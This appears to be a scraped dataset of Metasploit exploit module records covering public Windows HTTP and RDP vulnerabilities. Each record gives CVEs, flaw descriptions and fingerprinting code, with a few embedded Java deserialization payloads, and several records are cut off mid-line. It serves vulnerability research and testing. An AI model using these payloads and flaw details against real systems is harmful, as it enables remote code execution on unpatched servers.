deardaniel/secdata-raw huggingface dataset:
Metasploit Module: HPE Systems Insight Manager AMF Deserialization RCE
Type: exploit
Path: modules/exploits/windows/http/hpe_sim_76_amf_deserialization.rb
Platform: win
Disclosure date: 2020-12-15
References: CVE-2020-7200, URL-https://testbnull.medium.com/hpe-system-insight-manager-sim-amf-deserialization-lead-to-rce-cve-2020-7200-d49a9cf143c0, URL-https://www.zerodayinitiative.com/advisories/ZDI-20-1449/, URL-https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04068en_us
Targets: Windows Command, Windows Powershell

Description:
A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
          leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
          Manager's hpsimsvc.exe process, which runs with administrative privileges. The vulnerability occurs due
          to a failure to validate data during the deserialization process when a user submits a POST request to
          the /simsearch/messagebroker/amfsecure page. This module exploits this vulnerability by leveraging an
          outdated copy of Commons Collection, namely 3.2.2, that ships with HPE SIM, to gain
          RCE as the administrative user running HPE SIM.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    return CheckCode::Unknown('Failed to connect to the server.') if res.nil?

    body = res.body
    unless body.include?('Please insert your Smart Card and login to HPE System Insight Manager.') && body.include?('<title>HPE Systems Insight Manager</title>') && body.include?('/ui/javascript/XeHelp.js')
      return CheckCode::Safe("Target doesn't appear to be a HPE System Insight Manager server!")
    end

    data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
    f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
    serialized_payload_content = f_handle.read
    f_handle.close
    serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, 'a') # NOP command of a which will allow for checking if the target is vulnerable.

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
      'data' => serialized_payload_content_final
    })

    unless res&.code == 200
      return CheckCode::Safe("Non-200 HTTP response received during deserialization. Target doesn't seem to be vulnerable!")
    end
    unless res.to_s.include?('java.lang.NullPointerException')
      return CheckCode::Safe("200 OK response didn't contain expected java.lang.NullPointerException. Target is not vulnerable!")
    end

    CheckCode::Vulnerable('Target r
Metasploit Module: Sync Breeze Enterprise GET Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/syncbreeze_bof.rb
Platform: win
Disclosure date: 2017-03-15
References: CVE-2017-14980

Description:
This module exploits a stack-based buffer overflow vulnerability
          in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
          and v10.1.16, caused by improper bounds checking of the request in
          HTTP GET and POST requests sent to the built-in web server. This
          module has been tested successfully on Windows 7 SP1 x86.

Check method (fingerprinting):
product_name = get_product_name
    return Exploit::CheckCode::Unknown('Could not determine product name') unless product_name

    if product_name =~ /9\.4\.28/ || product_name =~ /10\.0\.28/
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    elsif product_name =~ /Sync Breeze Enterprise/
      return Exploit::CheckCode::Detected('Target service detected')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability
Type: exploit
Path: modules/exploits/windows/http/solarwinds_fsm_userlogin.rb
Platform: win
Disclosure date: 2015-03-13
References: CVE-2015-2284, OSVDB-81634, ZDI-15-107, URL-http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip

Description:
This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
          6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
          due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
          the 'username' attribute before authentication. The second problem is that the settings-new.jsp
          file will only check the 'username' attribute before authorizing the 'uploadFile' action,
          which can be exploited and allows the attacker to upload a fake xls host list file to the
          server, and results in arbitrary code execution under the context of SYSTEM.

          Depending on the installation, by default the Change Advisor web server is listening on port
          48080 for an express install. Otherwise, this service may appear on port 8080.

          Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip, noted in the
          references for this module.

Check method (fingerprinting):
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))

    if res && res.body =~ /SolarWinds FSM Change Advisor/i
      return Exploit::CheckCode::Detected('Target service detected')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  # Exploit/run command
Metasploit Module: Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/integard_password_bof.rb
Platform: win
Disclosure date: 2010-09-07
References: CVE-2010-5333, OSVDB-67909, URL-http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061

Description:
This module exploits a stack buffer overflow in Race river's Integard Home/Pro
          internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are
          vulnerable.

          The administration web page on port 18881 is vulnerable to a remote buffer overflow
          attack. By sending a long character string in the password field, both the structured
          exception handler and the saved extended instruction pointer are over written, allowing
          an attacker to gain control of the application and the underlying operating system
          remotely.

          The administration website service runs with SYSTEM privileges, and automatically
          restarts when it crashes.
Metasploit Module: Advantech iView NetworkServlet Command Injection
Type: exploit
Path: modules/exploits/windows/http/advantech_iview_networkservlet_cmd_inject.rb
Disclosure date: 2022-06-28
References: URL-https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/, CVE-2022-2143
Targets: Windows Dropper, Windows Command

Description:
Versions of Advantech iView software below `5.7.04.6469` are
          vulnerable to an unauthenticated command injection vulnerability
          via the `NetworkServlet` endpoint.
          The database backup functionality passes a user-controlled parameter,
          `backup_file` to the `mysqldump` command. The sanitization functionality only
          tests for SQL injection attempts and directory traversal, so leveraging the
          `-r` and `-w` `mysqldump` flags permits exploitation.
          The command injection vulnerability is used to write a payload on the target
          and achieve remote code execution as NT AUTHORITY\SYSTEM.

Check method (fingerprinting):
res = send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    return CheckCode::Unknown('Failed to receive a response from the application') unless res

    unless res.body.include?('iView')
      return CheckCode::Safe('No confirmation that target is Advantech iView')
    end

    res = send_db_backup_request('')
    return CheckCode::Detected('Failed to receive response from backup request') unless res

    # The patch added auth as a requirement for
    # accessing the NetworkServlet endpoint
    if res.body =~ /ERROR:\s+User\s+Not\sLogin/
      @needs_auth = true
      print_status('Vulnerability is present, though authentication is required.')
    end

    CheckCode::Appears('Target appears to be vulnerable')
  end
Metasploit Module: Easy File Management Web Server Stack Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/efs_fmws_userid_bof.rb
Platform: win
Disclosure date: 2014-05-20
References: CVE-2014-3791, OSVDB-107241, EDB-33610, BID-67542, URL-http://www.cnnvd.org.cn/vulnerability/show/cv_id/[PII_REDACTED], URL-http://www.web-file-management.com/

Description:
Easy File Management Web Server v4.0 and v5.3 contains a stack buffer
          overflow condition that is triggered as user-supplied input is not
          properly validated when handling the UserID cookie. This may allow a
          remote attacker to execute arbitrary code.

Check method (fingerprinting):
version = get_version
    code = Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    if version.nil?
      code = Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif version == "5.3"
      code = Exploit::CheckCode::Appears("Detected vulnerable version: #{version}")
    elsif version == "4.0"
      code = Exploit::CheckCode::Appears("Detected vulnerable version: #{version}")
    end

    code
  end
Metasploit Module: ManageEngine Desktop Central Java Deserialization
Type: exploit
Path: modules/exploits/windows/http/desktopcentral_deserialization.rb
Platform: win
Disclosure date: 2020-03-05
References: CVE-2020-10189, URL-https://srcincite.io/advisories/src-2020-0011/, URL-https://srcincite.io/pocs/src-2020-0011.py.txt, URL-https://twitter.com/steventseeley/status/[PII_REDACTED]98948096, URL-https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html
Targets: Windows Command, Windows Dropper, PowerShell Stager

Description:
This module exploits a Java deserialization vulnerability in the
          getChartImage() method from the FileStorage class within ManageEngine
          Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.

          Quoting the vendor's advisory on fixed versions:

          "The short-term fix for the arbitrary file upload vulnerability was
          released in build 10.0.474 on January 20, 2020. In continuation of
          that, the complete fix for the remote code execution vulnerability is
          now available in build 10.0.479."

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'configurations.do')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
      return CheckCode::Unknown('Target is not running Desktop Central.')
    end

    build = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text

    unless build&.match(/\d+/)
      return CheckCode::Detected(
        'Target did not respond with Desktop Central build.'
      )
    end

    # Desktop Central build 100474 is equivalent to version 10.0.474
    if build.to_i < 100474
      return CheckCode::Appears(
        "Desktop Central #{build} is a vulnerable build."
      )
    end

    CheckCode::Safe("Desktop Central #{build} is NOT a vulnerable build.")
  end
Metasploit Module: EFS Easy Chat Server Authentication Request Handling Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/efs_easychatserver_username.rb
Platform: win
Disclosure date: 2007-08-14
References: CVE-2004-2466, OSVDB-7416, OSVDB-106841, BID-25328

Description:
This module exploits a stack buffer overflow in EFS Software Easy Chat
          Server versions 2.0 to 3.1. By sending an overly long authentication
          request, an attacker may be able to execute arbitrary code.

Check method (fingerprinting):
version = get_version
    if not version
      return Exploit::CheckCode::Safe('EFS Easy Chat Server not detected')
    end

    vprint_status "Found version: #{version}"
    if version !~ /^(2\.\d|3\.0|3\.1)$/
      return Exploit::CheckCode::Safe("Target is not vulnerable based on version: #{version}")
    end

    path = get_install_path
    if not path
      return Exploit::CheckCode::Detected("Target detected with version: #{version}")
    end

    vprint_status "Found path: #{path}"
    return Exploit::CheckCode::Appears("Detected vulnerable version: #{version}")
  end

  #
  # Get software version from change log
  #
Metasploit Module: HP Intelligent Management Java Deserialization RCE
Type: exploit
Path: modules/exploits/windows/http/hp_imc_java_deserialize.rb
Platform: win
Disclosure date: 2017-10-03
References: CVE-2017-12557, URL-https://github.com/pimps/ysoserial-modified/blob/master/src/main/java/ysoserial/payloads/JSON1.java, URL-https://www.zerodayinitiative.com/advisories/ZDI-17-832/

Description:
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of
          Hewlett Packard Enterprise Intelligent Management Center. Authentication is not required to exploit
          this vulnerability.

          The specific flaw exists within the WebDMDebugServlet, which listens on TCP ports 8080 and 8443 by
          default. The issue results from the lack of proper validation of user-supplied data, which can result
          in deserialization of untrusted data. An attacker can leverage this vulnerability to execute arbitrary
          code in the context of SYSTEM.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.code == 200 && res.body.include?('login_logo_hp.png')
      return CheckCode::Safe('Target is not vulnerable')
    end

    # Java serialized ysoserial JSON1 synchronous sleep command, from https://github.com/federicodotta/Java-Deserialization-Scanner/blob/43653733ae58f63a9a4ef257ac2f276d1ca3c0a8/src/burp/BurpExtender.java
    data = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA
Metasploit Module: Octopus Deploy Authenticated Code Execution
Type: exploit
Path: modules/exploits/windows/http/octopusdeploy_deploy.rb
Platform: win
Disclosure date: 2017-05-15
References: CVE-2018-18850, URL-https://octopus.com
Targets: Windows Powershell

Description:
This module can be used to execute a payload on an Octopus Deploy server given
          valid credentials or an API key. The payload is executed as a powershell script step
          on the Octopus Deploy server during a deployment.

Check method (fingerprinting):
res = nil
    if datastore['APIKEY']
      res = check_api_key
    elsif datastore['USERNAME'] && datastore['PASSWORD']
      res = do_login
    else
      begin
        fail_with(Failure::BadConfig, 'Need username and password or API key')
      rescue Msf::Exploit::Failed => e
        vprint_error(e.message)
        return CheckCode::Unknown('Could not determine the target status')
      end
    end
    disconnect
    return CheckCode::Unknown('No response received from target') if res.nil?

    if res.code.between?(400, 499)
      vprint_error("Server rejected the credentials")
      return CheckCode::Unknown('Could not determine the target status')
    end
    CheckCode::Appears('Target appears to be vulnerable')
  end
Metasploit Module: Disk Pulse Enterprise GET Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/disk_pulse_enterprise_get.rb
Platform: win
Disclosure date: 2017-08-25
References: CVE-2017-13696, EDB-42560

Description:
This module exploits an SEH buffer overflow in Disk Pulse Enterprise
          9.9.16. If a malicious user sends a crafted HTTP GET request
          it is possible to execute a payload that would run under the Windows
          NT AUTHORITY\SYSTEM account.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => '/',
      'method' => 'GET'
    )

    if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: Ultra Mini HTTPD Stack Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/ultraminihttp_bof.rb
Platform: win
Disclosure date: 2013-07-10
References: OSVDB-95164, EDB-26739, CVE-2013-5019, BID-61130

Description:
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
          allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
          request. This exploit has to deal with the fact that the application's request handler
          thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
          some RWX memory, copies the payload to it and creates another thread. When done, it
          terminates the current thread so that it doesn't crash and hence doesn't bring down
          the process with it.
Metasploit Module: EZHomeTech EzServer Stack Buffer Overflow Vulnerability
Type: exploit
Path: modules/exploits/windows/http/ezserver_http.rb
Platform: win
Disclosure date: 2012-06-18
References: CVE-2024-23985, OSVDB-83065, BID-54056, EDB-19266, URL-http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/

Description:
This module exploits a stack buffer overflow in the EZHomeTech EZServer
          for versions 6.4.017 and earlier. If a malicious user sends packets
          containing an overly long string, it may be possible to execute a
          payload remotely. Due to size constraints, this module uses the
          Egghunter technique.
Metasploit Module: Alt-N SecurityGateway username Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/altn_securitygateway.rb
Platform: win
Disclosure date: 2008-06-02
References: CVE-2008-4193, OSVDB-45854, BID-29457

Description:
Alt-N SecurityGateway is prone to a buffer overflow condition. This
          is due to insufficient bounds checking on the "username"
          parameter. Successful exploitation could result in code
          execution with SYSTEM level privileges.

          NOTE: This service doesn't restart, you'll only get one shot. However,
          it often survives a successful exploitation attempt.

Check method (fingerprinting):
if auto_target
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end
    Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
Type: exploit
Path: modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
Platform: win
Disclosure date: 2019-05-14
References: CVE-2019-0708, URL-https://github.com/zerosum0x0/CVE-2019-0708, URL-https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html
Targets: Automatic targeting via fingerprinting, Windows 7 SP1 / 2008 R2 (6.1.7601 x64), Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6), Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14), Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15), Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1), Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V), Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS), Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)

Description:
The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
          allowing a malformed Disconnect Provider Indication message to cause use-after-free.
          With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
          the freed channel is used to achieve arbitrary code execution.

          Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.

          Windows 7 SP1 should be exploitable in its default configuration, assuming your target
          selection is correctly matched to the system's memory layout.

          HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam
          *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.
          This is a non-standard configuration for normal servers, and the target will crash if
          the aforementioned Registry key is not set!

          If the target is crashing regardless, you will likely need to determine the non-paged
          pool base in kernel memory and set it as the GROOMBASE option.
Metasploit Module: RDP DOUBLEPULSAR Remote Code Execution
Type: exploit
Path: modules/exploits/windows/rdp/rdp_doublepulsar_rce.rb
Platform: win
Disclosure date: 2017-04-14
References: URL-https://github.com/countercept/doublepulsar-detection-script

Description:
This module executes a Metasploit payload against the Equation Group's
          DOUBLEPULSAR implant for RDP.

          While this module primarily performs code execution against the implant,
          the "Neutralize implant" target allows you to disable the implant.

Check method (fingerprinting):
print_status('Sending ping to DOUBLEPULSAR')
    res = do_rdp_doublepulsar_pkt(OPCODES[:ping])

    unless (info = parse_doublepulsar_ping(res))
      print_error('DOUBLEPULSAR not detected or disabled')
      return CheckCode::Safe('DOUBLEPULSAR not detected or disabled')
    end

    print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
    print_good("Target is #{info}")
    CheckCode::Vulnerable("DOUBLEPULSAR RDP implant detected, target is #{info}")
  end